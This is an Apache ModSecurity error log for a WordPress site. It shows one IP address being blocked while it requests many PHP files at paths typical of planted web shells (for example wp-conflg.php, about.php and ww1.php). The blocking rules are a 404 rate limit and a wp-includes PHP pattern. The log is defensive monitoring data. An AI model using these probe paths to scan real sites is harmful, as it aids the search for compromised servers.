[Fri Jan 02 05:53:57.573010 2026] [:error] [pid 63100:tid 63182] [client 4.241.192.15:6056] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aVbs9TuUXUKd3KTnKl-XXAAAAJU"]
[Fri Jan 02 05:53:57.979815 2026] [:error] [pid 63208:tid 63218] [client 4.241.192.15:5768] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aVbs9XKLI9INGPLzfnd_DwAAAMc"]
[Fri Jan 02 05:53:58.434019 2026] [:error] [pid 63208:tid 63217] [client 4.241.192.15:5765] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aVbs9nKLI9INGPLzfnd_EQAAAMY"]
[Fri Jan 02 05:53:58.839110 2026] [:error] [pid 63100:tid 63164] [client 4.241.192.15:6030] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aVbs9juUXUKd3KTnKl-XXQAAAIM"]
[Fri Jan 02 05:53:59.506807 2026] [:error] [pid 63099:tid 63147] [client 4.241.192.15:5967] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aVbs98mCZokRPYUhzvgXQAAAAE0"]
[Fri Jan 02 05:53:59.878684 2026] [:error] [pid 63098:tid 63125] [client 4.241.192.15:5962] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aVbs98ez9k78gUs48kqSngAAABI"]
[Fri Jan 02 05:54:00.489757 2026] [:error] [pid 63100:tid 63180] [client 4.241.192.15:5985] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aVbs-DuUXUKd3KTnKl-XXwAAAJM"]
[Fri Jan 02 05:54:00.920874 2026] [:error] [pid 63100:tid 63171] [client 4.241.192.15:6143] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aVbs-DuUXUKd3KTnKl-XYAAAAIo"]
[Fri Jan 02 05:54:01.277563 2026] [:error] [pid 63100:tid 63183] [client 4.241.192.15:5975] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aVbs-TuUXUKd3KTnKl-XYgAAAJY"]
[Fri Jan 02 05:54:01.602673 2026] [:error] [pid 63100:tid 63181] [client 4.241.192.15:6067] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aVbs-TuUXUKd3KTnKl-XYwAAAJQ"]
[Fri Jan 02 05:54:02.096727 2026] [:error] [pid 63100:tid 63167] [client 4.241.192.15:11712] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aVbs-juUXUKd3KTnKl-XZAAAAIY"]
[Fri Jan 02 05:54:02.423396 2026] [:error] [pid 63100:tid 63165] [client 4.241.192.15:5964] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aVbs-juUXUKd3KTnKl-XZQAAAIQ"]
[Fri Jan 02 05:54:02.724193 2026] [:error] [pid 63099:tid 63158] [client 4.241.192.15:6137] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aVbs-smCZokRPYUhzvgXRAAAAFg"]
[Fri Jan 02 05:54:07.261515 2026] [:error] [pid 63208:tid 63227] [client 4.241.192.15:6076] [client 4.241.192.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aVbs_3KLI9INGPLzfnd_IwAAANA"]
[Fri Jan 02 05:54:07.670872 2026] [:error] [pid 63208:tid 63220] [client 4.241.192.15:5779] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/index.php"] [unique_id "aVbs_3KLI9INGPLzfnd_JAAAAMk"]
[Fri Jan 02 05:54:07.957105 2026] [:error] [pid 63100:tid 63161] [client 4.241.192.15:6058] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/index.php"] [unique_id "aVbs_zuUXUKd3KTnKl-XegAAAIA"]
[Fri Jan 02 05:54:08.346655 2026] [:error] [pid 63099:tid 63137] [client 4.241.192.15:5785] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/index.php"] [unique_id "aVbtAMmCZokRPYUhzvgXSQAAAEM"]
[Fri Jan 02 05:54:08.737178 2026] [:error] [pid 63098:tid 63121] [client 4.241.192.15:6086] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/index.php"] [unique_id "aVbtAMez9k78gUs48kqSsQAAAA4"]
[Fri Jan 02 05:54:09.434130 2026] [:error] [pid 63099:tid 63152] [client 4.241.192.15:6066] [client 4.241.192.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/wp-login.php"] [unique_id "aVbtAcmCZokRPYUhzvgXSwAAAFI"]
[Fri Jan 02 05:54:09.898062 2026] [:error] [pid 63208:tid 63222] [client 4.241.192.15:5971] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aVbtAXKLI9INGPLzfnd_JgAAAMs"]
[Fri Jan 02 05:54:10.229800 2026] [:error] [pid 63100:tid 63164] [client 4.241.192.15:11734] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aVbtAjuUXUKd3KTnKl-XfQAAAIM"]
[Fri Jan 02 05:54:10.868315 2026] [:error] [pid 63100:tid 63180] [client 4.241.192.15:5977] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aVbtAjuUXUKd3KTnKl-XfwAAAJM"]
[Fri Jan 02 05:54:11.465427 2026] [:error] [pid 63100:tid 63173] [client 4.241.192.15:5992] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aVbtAzuUXUKd3KTnKl-XgQAAAIw"]
[Fri Jan 02 05:54:11.854540 2026] [:error] [pid 63100:tid 63181] [client 4.241.192.15:5954] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aVbtAzuUXUKd3KTnKl-XggAAAJQ"]
[Fri Jan 02 05:54:12.163251 2026] [:error] [pid 63100:tid 63177] [client 4.241.192.15:6046] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aVbtBDuUXUKd3KTnKl-XgwAAAJA"]
[Fri Jan 02 05:54:12.647982 2026] [:error] [pid 63100:tid 63176] [client 4.241.192.15:6057] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aVbtBDuUXUKd3KTnKl-XhQAAAI8"]
[Fri Jan 02 05:54:13.086661 2026] [:error] [pid 63100:tid 63175] [client 4.241.192.15:6000] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aVbtBTuUXUKd3KTnKl-XhwAAAI4"]
[Fri Jan 02 05:54:13.595071 2026] [:error] [pid 63099:tid 63155] [client 4.241.192.15:5959] [client 4.241.192.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aVbtBcmCZokRPYUhzvgXTQAAAFU"]
[Fri Jan 02 05:54:14.250956 2026] [:error] [pid 63099:tid 63144] [client 4.241.192.15:5994] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aVbtBsmCZokRPYUhzvgXUQAAAEo"]
[Fri Jan 02 05:54:15.082110 2026] [:error] [pid 63100:tid 63170] [client 4.241.192.15:5775] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aVbtBzuUXUKd3KTnKl-XiQAAAIk"]
[Fri Jan 02 05:54:15.527564 2026] [:error] [pid 63100:tid 63172] [client 4.241.192.15:6013] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aVbtBzuUXUKd3KTnKl-XjAAAAIs"]
[Fri Jan 02 05:54:15.936287 2026] [:error] [pid 63208:tid 63224] [client 4.241.192.15:6002] [client 4.241.192.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aVbtB3KLI9INGPLzfnd_LgAAAM0"]
[Fri Jan 02 05:54:16.235578 2026] [:error] [pid 63098:tid 63117] [client 4.241.192.15:5784] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ww1.php"] [unique_id "aVbtCMez9k78gUs48kqStwAAAAo"]
[Fri Jan 02 05:54:16.690649 2026] [:error] [pid 63098:tid 63123] [client 4.241.192.15:6127] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ww1.php"] [unique_id "aVbtCMez9k78gUs48kqSugAAABA"]
[Fri Jan 02 05:54:17.047895 2026] [:error] [pid 63098:tid 63119] [client 4.241.192.15:6043] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ww1.php"] [unique_id "aVbtCcez9k78gUs48kqSvAAAAAw"]
[Fri Jan 02 05:54:17.655697 2026] [:error] [pid 63208:tid 63223] [client 4.241.192.15:6022] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about/function.php"] [unique_id "aVbtCXKLI9INGPLzfnd_MAAAAMw"]
[Fri Jan 02 05:54:18.257168 2026] [:error] [pid 63100:tid 63182] [client 4.241.192.15:11769] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about/function.php"] [unique_id "aVbtCjuUXUKd3KTnKl-XkQAAAJU"]
[Fri Jan 02 05:54:18.664142 2026] [:error] [pid 63099:tid 63152] [client 4.241.192.15:6005] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about/function.php"] [unique_id "aVbtCsmCZokRPYUhzvgXVgAAAFI"]
[Fri Jan 02 05:54:19.490891 2026] [:error] [pid 63100:tid 63163] [client 4.241.192.15:6075] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about/function.php"] [unique_id "aVbtCzuUXUKd3KTnKl-XlQAAAII"]
[Fri Jan 02 05:54:20.508122 2026] [:error] [pid 63098:tid 63118] [client 4.241.192.15:5993] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/function.php"] [unique_id "aVbtDMez9k78gUs48kqSxAAAAAs"]
[Fri Jan 02 05:54:21.271155 2026] [:error] [pid 63208:tid 63220] [client 4.241.192.15:6063] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/function.php"] [unique_id "aVbtDXKLI9INGPLzfnd_PQAAAMk"]
[Fri Jan 02 05:54:21.734896 2026] [:error] [pid 63208:tid 63235] [client 4.241.192.15:6027] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/function.php"] [unique_id "aVbtDXKLI9INGPLzfnd_QgAAANg"]
[Fri Jan 02 05:54:22.060037 2026] [:error] [pid 63100:tid 63184] [client 4.241.192.15:5821] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/function.php"] [unique_id "aVbtDjuUXUKd3KTnKl-XmQAAAJc"]
[Fri Jan 02 05:54:22.471107 2026] [:error] [pid 63208:tid 63226] [client 4.241.192.15:5990] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aVbtDnKLI9INGPLzfnd_RgAAAM8"]
[Fri Jan 02 05:54:23.108988 2026] [:error] [pid 63100:tid 63181] [client 4.241.192.15:5987] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aVbtDzuUXUKd3KTnKl-XnAAAAJQ"]
[Fri Jan 02 05:54:23.552331 2026] [:error] [pid 63208:tid 63214] [client 4.241.192.15:6011] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aVbtD3KLI9INGPLzfnd_SwAAAMM"]
[Fri Jan 02 05:54:24.041496 2026] [:error] [pid 63208:tid 63227] [client 4.241.192.15:5979] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aVbtEHKLI9INGPLzfnd_TQAAANA"]
[Fri Jan 02 05:54:24.605740 2026] [:error] [pid 63100:tid 63175] [client 4.241.192.15:6139] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aVbtEDuUXUKd3KTnKl-XoAAAAI4"]
[Fri Jan 02 05:54:25.379694 2026] [:error] [pid 63099:tid 63139] [client 4.241.192.15:6040] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aVbtEcmCZokRPYUhzvgXZgAAAEU"]
[Fri Jan 02 05:54:26.257503 2026] [:error] [pid 63100:tid 63171] [client 4.241.192.15:6024] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aVbtEjuUXUKd3KTnKl-XpQAAAIo"]
[Fri Jan 02 05:54:27.284537 2026] [:error] [pid 63098:tid 63126] [client 4.241.192.15:5764] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aVbtE8ez9k78gUs48kqSyQAAABM"]
[Fri Jan 02 05:54:27.932982 2026] [:error] [pid 63099:tid 63149] [client 4.241.192.15:6039] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/security.php"] [unique_id "aVbtE8mCZokRPYUhzvgXbAAAAE8"]
[Fri Jan 02 05:54:29.086494 2026] [:error] [pid 63098:tid 63130] [client 4.241.192.15:5984] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/security.php"] [unique_id "aVbtFcez9k78gUs48kqSywAAABc"]
[Fri Jan 02 05:54:30.899188 2026] [:error] [pid 63208:tid 63235] [client 4.241.192.15:5980] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/security.php"] [unique_id "aVbtFnKLI9INGPLzfnd_VgAAANg"]
